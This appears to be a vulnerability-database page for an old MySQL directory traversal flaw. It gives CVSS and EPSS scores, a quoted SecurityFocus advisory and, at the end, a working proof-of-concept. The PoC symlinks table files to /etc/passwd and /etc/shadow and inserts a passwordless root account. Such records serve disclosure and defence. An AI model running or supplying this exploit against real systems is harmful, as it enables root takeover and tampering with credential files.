CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Directory traversal vulnerability in MySQL before 3.23.36 allows local users to modify arbitrary files and gain privileges by creating a database whose name starts with .. (dot dot).
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
4.6
AV:L/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.73%
–
–
2022-02-13
–
–
1.73%
–
–
2022-04-03
–
–
1.73%
–
–
2022-06-19
–
–
1.73%
–
–
2022-10-30
–
–
1.73%
–
–
2022-11-20
–
–
1.73%
–
–
2022-11-27
–
–
1.73%
–
–
2023-01-01
–
–
1.73%
–
–
2023-01-15
–
–
1.73%
–
–
2023-03-12
–
–
–
0.04%
–
2024-04-07
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-10-06
–
–
–
0.04%
–
2024-12-15
–
–
–
0.04%
–
2024-12-22
–
–
–
0.72%
–
2025-01-12
–
–
–
0.72%
–
2025-01-19
–
–
–
0.72%
–
2025-03-18
–
–
–
–
0.53%
2025-03-30
–
–
–
–
0.71%
2025-04-15
–
–
–
–
0.71%
2025-04-15
–
–
–
–
0.71,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
source: https://www.securityfocus.com/bid/2522/info
MySQL is a relational database management system (RDBMS), freely available and open source. It is maintained by MySQL AB.
A problem with the implementation of some MySQL databases may permit local users to overwrite sensitive system files. This problem affects MySQL implementations that run the database under the uid of root. By using a symbolic link in the /var/tmp directory, and linking it to a file that is write-accesible by root, a user can log into the database with their account, and create a table with a name corresponding to that of the symbolic link. The creation of the table will overwrite the linked file, and any data created within the table will be written to the file that has been symbolically linked. This is dependent entirely upon the attacker having a MySQL account with the "create table" privilege.
Therefore, it is possible for a local user to overwrite sensitive system files, and potentially gain elevated privileges, including administrative access.
$ cd /var/tmp
$ ln -s /etc/passwd gotcha.ISD
$ ln -s /etc/shadow make_me_r00t.ISD
$ mysql -u user -h localhost -p somepassword '../../tmp'
create table gotcha(qqq varchar(255));
create table make_me_r00t(qqq varchar(255));
insert into gotcha values('\nr00t::0:0:Hacked_Fucked_R00T:/:/bin/sh\n');
insert into make_me_r00t values('\nr00t::1:0:99999:7:-1:-1:\n');
\q
$